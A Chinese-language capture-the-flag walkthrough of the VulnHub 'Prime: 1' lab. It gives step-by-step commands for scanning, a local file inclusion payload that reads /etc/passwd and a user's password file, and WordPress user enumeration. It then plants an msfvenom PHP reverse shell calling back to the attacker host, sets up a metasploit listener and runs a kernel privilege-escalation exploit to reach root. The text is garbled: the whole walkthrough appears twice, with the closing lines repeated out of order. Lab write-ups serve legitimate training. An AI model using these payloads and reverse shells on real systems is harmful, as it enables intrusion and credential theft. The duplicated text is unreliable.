Prime: 1
来自 < Prime: 1 ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.207
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.207

开启了http服务,访问之

然后对网站子目录进行扫描枚举
dirsearch -u http://192.168.23.207 -x 403,404

存在wordpress登录页面
http://192.168.23.207/wordpress/wp-login.php

whatweb -v http://192.168.23.207/wordpress/wp-login.php


发现提示
dirb http://192.168.23.207/ -X .txt,.php,.zip

http://192.168.23.207/secret.txt

4,测试index.php的参数,执行如下命令
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.23.207/index.php?FUZZ
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 12 http://192.168.23.207/index.php?FUZZ

根据提示查看 location.txt 文件
curl http://192.168.23.207/index.php?file=location.txt

提示使用secrettier360参数在其他的PHP页面上进行挖掘信息
5,可能存在文件包含漏洞,可以wufzz进行测试
http://192.168.23.207/image.php?secrettier360=/etc/passwd

成功包含了/etc/passwd,说明存在本地文件包含漏洞。然后再获取这个页面
curl http://192.168.23.207/image.php?secrettier360=/etc/passwd

通过观察上述的提示发现密码放在/home/saket/password.txt,结合刚才发现的读取文件到漏洞,我们构造一个payload去读取用户密码
curl http://192.168.23.207/image.php?secrettier360=/home/saket/password.txt

发现了密码是:follow_the_ippsec
6,然后尝试ssh登录。失败,原来是登录网站的密码。然后需要获取网站登录的用户名
wpscan --url http://192.168.23.207/wordpress/ --enumerate u

victor/follow_the_ippsec
7,成功登录wordpress。登录进入之后,利用主题编辑器(Appearance-Theme Editor)的漏洞进行反弹代码的上传。通过msfvenom直接生成一个php反弹shell代码更新到目标文件secret.php然后配置好metasploit访问secret.php即可拿shell。生成反弹shell命令如下:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.23.182 lport=4444 -o shell.php

然后上传文件,上传成功
8,使用msfconsle开启对4444端口的监听
msfconsle
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.23.182
set lport 4444
run

然后访问 http://192.168.23.207/wordpress/wp-content/themes/twentynineteen/secret.php 成功触发
9,使用python模块构成可交互shell
python -c 'import pty;pty.spawn("/bin/bash")'

然后再查看操作系统内核版本

然后搜索这个版本的操作系统有无漏洞
searchsploit ubuntu 16.04

根据内核版本这里选择45010.c进行提权操作
searchsploit -m 45010.c

10,首先对exp文件进行编译(这一步错误)。需要让靶场下载未编译的exp原文件,然后再进行编译
kali开启http服务
python -m http.server

gcc 45010.c -o 45010
chmod 777 45010.c
Prime: 1
来自 < Prime: 1 ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.207
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.207

开启了http服务,访问之

然后对网站子目录进行扫描枚举
dirsearch -u http://192.168.23.207 -x 403,404

存在wordpress登录页面
http://192.168.23.207/wordpress/wp-login.php

whatweb -v http://192.168.23.207/wordpress/wp-login.php


发现提示
dirb http://192.168.23.207/ -X .txt,.php,.zip

http://192.168.23.207/secret.txt

4,测试index.php的参数,执行如下命令
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.23.207/index.php?FUZZ
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 12 http://192.168.23.207/index.php?FUZZ

根据提示查看 location.txt 文件
curl http://192.168.23.207/index.php?file=location.txt

提示使用secrettier360参数在其他的PHP页面上进行挖掘信息
5,可能存在文件包含漏洞,可以wufzz进行测试
http://192.168.23.207/image.php?secrettier360=/etc/passwd

成功包含了/etc/passwd,说明存在本地文件包含漏洞。然后再获取这个页面
curl http://192.168.23.207/image.php?secrettier360=/etc/passwd

通过观察上述的提示发现密码放在/home/saket/password.txt,结合刚才发现的读取文件到漏洞,我们构造一个payload去读取用户密码
curl http://192.168.23.207/image.php?secrettier360=/home/saket/password.txt

发现了密码是:follow_the_ippsec
6,然后尝试ssh登录。失败,原来是登录网站的密码。然后需要获取网站登录的用户名
wpscan --url http://192.168.23.207/wordpress/ --enumerate u

victor/follow_the_ippsec
7,成功登录wordpress。登录进入之后,利用主题编辑器(Appearance-Theme Editor)的漏洞进行反弹代码的上传。通过msfvenom直接生成一个php反弹shell代码更新到目标文件secret.php然后配置好metasploit访问secret.php即可拿shell。生成反弹shell命令如下:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.23.182 lport=4444 -o shell.php

然后上传文件,上传成功
8,使用msfconsle开启对4444端口的监听
msfconsle
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.23.182
set lport 4444
run

然后访问 http://192.168.23.207/wordpress/wp-content/themes/twentynineteen/secret.php 成功触发
9,使用python模块构成可交互shell
python -c 'import pty;pty.spawn("/bin/bash")'

然后再查看操作系统内核版本

然后搜索这个版本的操作系统有无漏洞
searchsploit ubuntu 16.04

根据内核版本这里选择45010.c进行提权操作
searchsploit -m 45010.c

10,首先对exp文件进行编译(这一步错误)。需要让靶场下载未编译的exp原文件,然后再进行编译
kali开启http服务
python -m http.server

gcc 45010.c -o 45010
chmod 777 45010.c

然后执行这个文件./45010

提权成功,成为root用户
然后执行这个文件./45010

提权成功,成为root用户